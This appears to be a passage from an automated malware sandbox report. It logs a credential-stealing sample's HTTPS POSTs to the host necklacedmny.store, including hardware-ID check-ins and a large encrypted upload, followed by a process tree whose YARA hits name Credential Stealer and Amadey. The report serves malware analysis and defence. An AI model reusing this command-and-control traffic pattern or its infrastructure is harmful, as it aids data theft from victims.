64F6(X&7~`
2024-10-31 04:07:38 UTC	1026	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:07:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=onlanr7ashs1t7fqkt2d3iltt9; expires=Sun, 23-Feb-2025 21:54:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EfvqdXiVsUUncWCWMYzMJTEatdySB6Z60jT%2BC12z5LceebynRcYDfnpNTP%2BwklQqnxJ%2FnxweuRa5H6jhchWL7csiwrV6Xg8ah%2BM6d5T%2FRNR31J3nLi61IFUiZ1%2Bq4Esg%2BWLqXzU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0c773da836998-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1284&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21406&delivery_rate=2146775&cwnd=251&unsent_bytes=0&cid=75dc6cfaa992aee0&ts=2111&x=0"
2024-10-31 04:07:38 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 04:07:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50032	188.114.97.3	443	3992	C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 04:07:43 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1315 Host: necklacedmny.store
2024-10-31 04:07:43 UTC	1315	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 30 39 35 38 37 39 43 30 42 36 38 45 33 46 31 33 33 46 38 44 32 30 38 43 41 46 31 45 36 33 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D095879C0B68E3F133F8D208CAF1E63B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 04:07:44 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:07:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jq122m7mcfbu506gc6lkggmjev; expires=Sun, 23-Feb-2025 21:54:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3T%2Fwb%2BpausSxD46mBMO38kfF89UgUfxN8wRFq5FcJ5St922XhZ2QPYawKKsBW95CR1PiOo1yayr91Qk7cTu9tV5tUNtJ1ZVOlsueTihqwETs%2FdlVmCpS5cvjsQ%2BvZ6aiLFO25BU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0c7a208da6bcb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1143&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2234&delivery_rate=2681481&cwnd=251&unsent_bytes=0&cid=1c5e6011a500b189&ts=682&x=0"
2024-10-31 04:07:44 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 04:07:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50050	188.114.97.3	443	3992	C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 04:07:47 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 544895 Host: necklacedmny.store
2024-10-31 04:07:47 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 30 39 35 38 37 39 43 30 42 36 38 45 33 46 31 33 33 46 38 44 32 30 38 43 41 46 31 45 36 33 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D095879C0B68E3F133F8D208CAF1E63B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 04:07:47 UTC	15331	OUT	Data Raw: 76 75 3a 0e 07 97 62 c3 e1 84 25 07 65 13 4b d3 14 5f af 36 19 48 92 94 66 eb 7c 17 2b 57 89 f2 99 c3 dd ba a5 7e 8d ff 15 e1 89 92 40 bb 2a 22 42 96 35 6f 2f bb 9f 16 a3 10 79 3d 1c 31 8d fd ad b1 14 8f 4f b8 a0 87 30 88 08 f0 c4 0f 68 28 8d c9 d0 05 11 f7 76 2c ec f7 4f 56 c7 6c 9c e4 3a d7 c1 f1 33 62 2d 13 02 40 bf 12 61 85 03 02 bb dd db 06 2d de db c3 8a 95 86 f7 37 3f 30 59 72 5f 23 51 20 68 27 2e 71 9b ff e7 43 24 b8 c2 18 1d f8 d7 b6 b7 62 d4 f5 f9 5d 0e af 82 7a 3f 58 2d a9 f9 61 cb dd bf 45 53 4f d0 54 9d 7b 2b f8 24 d4 2a 2d 6c af 8f 3f 53 0c 3e 0a ea 9e f0 03 bb c0 c0 94 49 22 c6 8e 1d 31 54 93 d5 7b a2 9d be 1b 6f 1a a7 f8 bf c6 a6 61 00 91 81 7f a3 10 d8 40 23 38 53 50 19 f0 f2 37 88 20 69 b5 7f e2 fa 67 c7 4a 98 8f f9 49 08 5a dc 8f 1d bb Data Ascii: vu:b%eK_6Hf\|+W~@"B5o/y=1O0h(v,OVl:3b-@a-7?0Yr_#Q h'.qC$b]z?X-aESOT{+$-l?S>I"1T{oa@#8SP7 igJIZ
2024-10-31 04:07:47 UTC	15331	OUT	Data Raw: 68 47 b6 ed 6b 52 be 2b 1f d7 3f 99 3f 04 1a 2a b4 d6 29 07 aa e5 66 2e f7 12 52 eb 75 d1 51 db 71 ad b3 59 1d 8a 57 29 92 6f f1 ed 4d 11 d4 61 2d 96 e7 48 7a 44 50 a1 08 59 af b9 45 79 04 8d 8e 24 e3 16 c4 da af 12 9c 4c 75 cb 8d b0 a2 ce f8 b8 90 ca 24 2c cf ec 89 05 be 2b c5 a4 8f 72 b1 bb 1f 3b d5 2d e8 4f da d8 93 5a d3 ac c2 83 1a 61 70 d3 56 56 ba c0 13 87 4a a8 f0 4f 27 45 85 29 a0 61 1c 34 a8 13 10 f6 02 22 51 e7 03 c7 9e 51 e9 9b 2f a7 ca a3 ef 57 6b 6b 20 0f 9b a5 2e d4 7a 77 df f2 9e 51 8d af 62 3f 68 7c df 20 72 13 10 11 fa f3 5c 31 95 48 0f 73 f3 81 d0 c5 98 aa 14 00 de c5 0f af fe 63 c5 1c 3a 43 ff 35 9d b7 3c 46 63 27 ee fe c5 52 bc da bb 55 d7 17 b9 f5 70 d0 a6 f7 bc d5 f0 78 5d ff 4f 7a 80 57 d1 60 a1 83 71 4a 63 3c 28 f0 1b 9e 3a a4 c2 Data Ascii: hGkR+??*)f.RuQqYW)oMa-HzDPYEy$Lu$,+r;-OZapVVJO'E)a4"QQ/Wkk .zwQb?h\| r\1Hsc:C5<Fc'RUpx]OzW`qJc<(:
2024-10-31 04:07:47 UTC	15331	OUT	Data Raw: 75 8d de 89 ae 09 74 9c e9 78 ff ab 25 ec 97 a7 59 e2 9d 14 18 13 1d 73 51 01 8d 86 1f fe d7 8b 7b e1 2a 00 42 32 9d 20 90 f0 42 98 94 db d3 6e 70 c7 a8 b2 0a f1 24 4c a3 8e 83 72 69 34 63 cf fc b5 40 08 6e 6b 86 e0 f8 97 73 79 69 1f 2b 4e 85 6d 77 e4 14 d4 04 9f 86 ef 1c f8 fb a1 d4 e9 49 3e 90 37 bb f6 d0 11 93 0c 2c 8f bd 4f 4f e5 8a 93 87 ec be 93 c9 e7 6b 2d 70 45 02 da 7b e3 97 4c c9 2e fe b3 e9 e5 90 db 17 39 a9 8d 78 d1 88 9c e9 13 54 87 ed 9b 47 53 b0 c9 47 e1 c7 17 8e c9 db cf d6 fc 24 3e 8a ee d2 d0 44 f7 a2 48 0c 8a e8 50 9a 69 a8 b7 4c f2 0c 63 72 d3 8a 86 bf 8c b1 6d ff a3 b0 db 21 42 88 0f 01 78 46 24 a7 9b 29 53 0d ec 7c 15 cc 0f 0f d5 8e a2 c7 1b 10 08 28 30 8d 9c 10 69 eb 0e 55 06 0a 0f b2 42 54 c5 46 76 4b b4 f1 b8 1e 30 36 56 e1 fb b1 Data Ascii: utx%YsQ{*B2 Bnp$Lri4c@nksyi+NmwI>7,OOk-pE{L.9xTGSG$>DHPiLcrm!BxF$)S\|(0iUBTFvK06V
2024-10-31 04:07:47 UTC	15331	OUT	Data Raw: a3 42 a8 c8 b4 dc 8c ed de 1b 3a 01 76 b5 8d 84 ef 5f cc 65 26 a9 a3 3d 2f 66 5c 7b 53 8e b2 ca af 7e 72 8e ff f0 23 cb 1f f9 89 1b f7 18 17 3f d6 9f fd 77 06 4c 4b b1 be cc 95 7b b9 97 97 f1 f9 f6 3f 5f 35 6b 2f 3d f2 e2 28 92 b5 22 85 22 8d 41 4d fd d7 ce e2 d1 ef d7 2e 98 bc ff 34 1b 73 fe fe 2b 60 14 f9 b3 ec c6 d0 ee 5e bf 80 67 7c 4a 85 f1 a0 a0 c8 c3 dd 62 12 b3 55 4f e0 39 75 0c 68 0f a8 f9 1c 61 fa 20 6e bf 2d ba 46 04 c8 1c 8f 97 55 0b 3d b4 4f 5a e8 e0 5d 7e ad fe 4a 6c 98 ad 34 b1 ab f3 31 0f 06 8e ff e6 32 fe e6 54 61 81 af 0e 79 b8 18 db 5e b5 78 a2 e5 0c d0 16 3a 8d 84 55 9a 96 80 0c 1f 27 94 fb bf 29 a5 54 06 06 f0 ca 8e 6b df 64 61 71 5d 10 74 5a 70 03 70 4c 0f ae 5f fe 84 23 1d d5 b7 7d a9 52 73 0f eb d0 3e ea 1d 30 38 20 35 c2 28 c7 e1 Data Ascii: B:v_e&=/f\{S~r#?wLK{?_5k/=(""AM.4s+`^g\|JbUO9uha n-FU=OZ]~Jl412Tay^x:U')Tkdaq]tZppL_#}Rs>08 5(
2024-10-31 04:07:47 UTC	15331	OUT	Data Raw: b5 76 7b 69 7b 1b e4 87 52 cb b6 f6 f3 bf 18 21 82 f9 24 c5 ce 0b 7e b2 5d bb 1c eb d2 74 b1 bc 78 5e de ad 96 a4 64 15 57 f9 88 94 0a 28 a0 bf 0c e7 00 77 3e 10 16 da 90 93 8d b9 27 b1 83 b4 18 6a f5 bc 3a 65 6f a3 81 fc 81 f0 29 59 b9 f5 43 a8 13 7b 33 e2 81 22 e7 19 9a 21 82 0c cf 21 14 dc b1 85 7b 2f 3f cc 00 e1 af ab 01 54 94 18 a7 36 bb d2 ef fc b7 c9 ab 5d 40 d9 8f 6b 10 56 f9 ef 47 fa 6c c7 f4 cb d2 a5 f3 fc 41 0d af 96 10 1c 29 0a c2 cb b1 40 7e 2f d8 7c 81 86 c5 71 80 dd 3d 9d de bf b9 58 c2 03 13 56 4b 44 bb ca 38 6f ac 92 5e 92 f7 81 e4 f5 f0 27 db 27 e1 32 a4 af 95 42 54 34 aa d7 11 de 67 93 d1 2c f0 42 d1 a7 db 90 c8 d2 67 9a 58 b3 eb d1 03 90 f6 74 90 81 c6 bb c5 78 26 7f a8 46 b3 e0 f2 fd a1 97 c3 fc fe 91 3b 5a f5 50 05 bd 42 c7 94 6c a3 Data Ascii: v{i{R!$~]tx^dW(w>'j:eo)YC{3"!!{/?T6]@kVGlA)@~/\|q=XVKD8o^''2BT4g,BgXtx&F;ZPBl
2024-10-31 04:07:47 UTC	15331	OUT	Data Raw: 1e 6e 49 fa ee 28 22 70 c1 0c 5a 92 98 92 00 fb a5 ce e7 64 db 24 bb 9d 23 26 85 b0 2f 0a 8b 6f 6d 2c fa 94 fd 93 b4 80 07 86 86 13 f7 f5 c2 67 c5 bb af 62 d2 85 72 c4 68 08 8a 06 e4 7c 8c 2f ec 12 c0 84 02 f4 a7 21 86 fe 10 6b de d0 8a 33 db e0 04 e4 a4 c2 f1 04 be 03 df 0e 8e 18 b4 fe 2a f6 e5 9c 2d 72 d4 5c c9 79 49 87 7d 91 b9 17 26 1d fb 6a 0a 76 13 91 da 81 16 ab 46 dc d9 57 9a ed 0b 36 f3 16 4c d4 09 04 81 b0 7d c0 dd 39 53 c0 53 98 a7 f1 aa f8 81 d3 c2 8d a1 cf 79 7e c7 c6 5c 9e 4c 60 58 b1 f0 95 40 9a 51 83 ce 88 80 1a c0 44 ac a0 75 78 a4 eb 86 76 0c 68 c0 2d 7d d4 02 a4 3e 5d 89 09 23 18 a6 23 51 b2 77 9a c7 3c 06 a7 04 25 c1 6f 0d 08 1b 7d 07 47 c5 0e 87 c9 ad 5d b0 cd 2a c1 78 6c c3 b5 f3 ef ec 5d 38 6d 61 d1 da 10 9c c7 f4 dd 20 ef a9 ad fb Data Ascii: nI("pZd$#&/om,gbrh\|/!k3-r\yI}&jvFW6L}9SSy~\L`X@QDuxvh-}>]##Qw<%o}G]xl]8ma
2024-10-31 04:07:47 UTC	15331	OUT	Data Raw: 58 8f 65 6a c2 c6 2a 34 14 ba 03 2f 1a 2a bc 04 6c b0 56 de 68 9c 6a 42 08 71 12 90 b5 cc 42 62 50 12 0b 10 ec 2c a0 60 da 82 d0 16 f3 9f 0b b5 8e 58 74 b4 6d eb de 29 21 10 2a 35 e6 48 da d8 fe 51 c0 cd ab 6e 5f 87 6a 29 bc f0 9c 04 e2 b7 1c 03 d3 db 12 32 fc e0 3d b4 61 22 ad b0 1f 31 c9 38 23 27 b3 07 b4 ea 41 5f 9e cb 3c 6b 77 1b 0e d2 ee 6b 3a 6c 5f ac 10 c5 d8 3a 10 1d 23 2d 3c 60 87 53 8c 08 02 7d 32 a8 8d 53 3c 7c 7e dc 02 49 3d b3 f2 4b 82 b8 4f f4 77 ef f1 13 e8 39 f1 51 4d 6a 60 8c b5 cf b6 cc 15 da 42 88 ed 9e 7c 5a b1 eb 5e 7d 76 05 d4 f9 be f2 67 27 7d 56 f5 63 c5 da 1c 37 74 d4 d7 7e 26 6d d0 70 3e 44 2f a8 5d 9c b1 8b 80 26 2e 57 19 6c b9 dd 5a 66 3a fa 6d d3 aa d9 e3 c3 54 91 16 a5 c8 8e 8c 99 4c 66 84 5b df b0 87 89 41 bb f1 b7 b3 78 c8 Data Ascii: Xej4/lVhjBqBbP,`Xtm)!*5HQn_j)2=a"18#'A_<kwk:l_:#-<`S}2S<\|~I=KOw9QMj`B\|Z^}vg'}Vc7t~&mp>D/]&.WlZf:mTLf[Ax
2024-10-31 04:07:47 UTC	15331	OUT	Data Raw: 4d be e8 e0 db 35 6d df af 19 59 52 5e 75 6e b9 72 1d 04 3f d3 89 ff 39 22 90 6d b3 4f 4a a3 42 c1 14 d3 fb f7 7d a7 97 b0 b7 cb fe 88 e3 db 5a 0c fd dd 13 95 ba 74 67 93 d5 35 ef 15 d1 4e ef 8f b1 7c 50 fb fc ec 9d da 5b 13 4f f6 77 4a 65 fe bb 1f ef 6a 33 20 77 23 19 37 04 c1 ee 5c 0c 9d 46 93 46 5c db 6f ef 06 b5 88 64 c6 db 38 d1 92 b0 5d 92 40 5c fa c6 65 b2 3c f4 76 37 5d 0e a8 3f 17 a9 b5 d6 76 0c 4f 5f 9c 50 63 38 f4 e4 ec 5c 21 3b 60 d2 b7 12 92 36 12 74 81 c2 aa cc 6e d4 1d 29 38 b3 78 ce e9 84 41 6d 25 8e 0f fe bc a7 2b b4 dc c8 8a 2c cf 8d d8 c0 5e 60 27 1c 23 1a 37 d9 54 90 d5 67 ea 7c 62 37 6f 68 d4 cb 1c 49 0e 79 1c bb b6 a0 68 f5 38 8c 54 7c 39 2d ad 11 08 6b cf 3d de 6a f8 6e 03 3b 67 d3 43 33 94 88 e7 53 71 5a 2d a3 cc 2b 95 1b 00 33 86 Data Ascii: M5mYR^unr?9"mOJB}Ztg5N\|P[OwJej3 w#7\FF\od8]@\e<v7]?vO_Pc8\!;`6tn)8xAm%+,^`'#7Tg\|b7ohIyh8T\|9-k=jn;gC3SqZ-+3
2024-10-31 04:07:47 UTC	15331	OUT	Data Raw: 57 6e 26 a1 8f 71 be 4e 3e 1e f6 6c bb ca 29 59 73 7b 6f 4f d4 8b 08 dd fe 37 39 ec fa ce 31 21 8d f2 ab 2e 98 9c 98 e7 a1 ae f3 2e 87 a0 57 c9 e6 d1 23 ce 7d 71 7e 8a b9 ca 66 0a f1 36 cf e1 6e 7e 61 02 66 ab 66 d9 96 96 c3 b2 18 ba 55 94 f3 de 51 af e3 23 82 6f 28 5a b4 48 a1 2a 9e d9 bc 41 41 09 a3 fe 0e 19 a9 a4 fa 09 44 6e f2 a5 e3 c3 83 29 e8 6d a2 e6 5c 1f a5 cf 3b 32 af 4f fd 49 fd 99 c6 19 a5 19 db 8c a0 fe 18 7e 8d ca bd d0 28 b2 c5 a0 3a 64 07 f2 0e 7c 2b 24 27 96 0f b9 f2 84 e9 1b b3 0f 4c ea a6 11 9a 04 d8 9f 9e 9e 87 68 2a 9f 03 b5 47 56 fa f0 f7 93 a3 4c 12 5f f0 0c 5c 41 c8 27 1d ef 47 9a 7b 99 ba 62 49 e1 9e b7 fb cd 3d 56 1e e2 7f 33 d6 47 d1 58 b4 94 98 e5 e2 b5 06 97 5c 9b dc a6 7c c4 de da da 3a d3 ca 3f b5 91 e5 ba 64 57 91 12 2b ec Data Ascii: Wn&qN>l)Ys{oO791!..W#}q~f6n~affUQ#o(ZHAADn)m\;2OI~(:d\|+$'LhGVL_\A'G{bI=V3GX\\|:?dW+
2024-10-31 04:07:49 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:07:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vdsdd8gm6ht1bbsf0os6o4lr18; expires=Sun, 23-Feb-2025 21:54:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IuK4PXKCItMUgbiwGP7T9Y7Z8A5hSDY1adl3sJMnqxTo4xAYhwEsMIgJkAjibYm%2BDjF%2BwMPrrl0QBXlMkblYqXLq5V6drJv4BV3qSuBRZMqgBo4ujLni2t6DCHxDSkr3ZeHpRNQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0c7bb7b93478a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1234&sent=202&recv=583&lost=0&retrans=0&sent_bytes=2846&recv_bytes=547378&delivery_rate=2452159&cwnd=247&unsent_bytes=0&cid=8f1396cd6d6a7b86&ts=1616&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50066	188.114.97.3	443	6256	C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 04:08:06 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 04:08:06 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 04:08:06 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:08:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gbb0aam4457vs9264p0rdu67eg; expires=Sun, 23-Feb-2025 21:54:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2V45WXycb3c6yWow2s5ZoLWzuecbMrjM85viErSynezXYMQe%2BuHEQt1AGTgOWV7%2FJdb64he5rVvghPWxOlpRtkSeY6cQbLbz%2F2xsHyNQlq70OgwuOepfLDQBp6mY6%2F68jmc7sGs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0c82e282e6c39-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1162&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2377668&cwnd=235&unsent_bytes=0&cid=761e417acd4c3730&ts=749&x=0"
2024-10-31 04:08:06 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 04:08:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	00:05:58
Start date:	31/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x970000
File size:	2'928'128 bytes
MD5 hash:	B780913DE1C9D2A04A8CB5CE458255CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1760913746.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1716326309.00000000008B9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:06:35
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe"
Imagebase:	0xe90000
File size:	2'809'344 bytes
MD5 hash:	69E939844ED586ED304E0C4D9DB0BFC4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:06:37
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe"
Imagebase:	0x920000
File size:	1'904'640 bytes
MD5 hash:	CE9CCBFD31B6577D91367151D511A931
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2073578821.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2114089520.0000000000921000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:06:39
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x150000
File size:	1'904'640 bytes
MD5 hash:	CE9CCBFD31B6577D91367151D511A931
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2136627208.0000000000151000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2096375636.0000000004B50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:07:00
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x150000
File size:	1'904'640 bytes
MD5 hash:	CE9CCBFD31B6577D91367151D511A931
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.2298754950.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	00:07:12
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe"
Imagebase:	0xd30000
File size:	2'928'128 bytes
MD5 hash:	B780913DE1C9D2A04A8CB5CE458255CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.2459931933.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.2518756456.0000000000B82000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.2517380337.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.2492196497.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
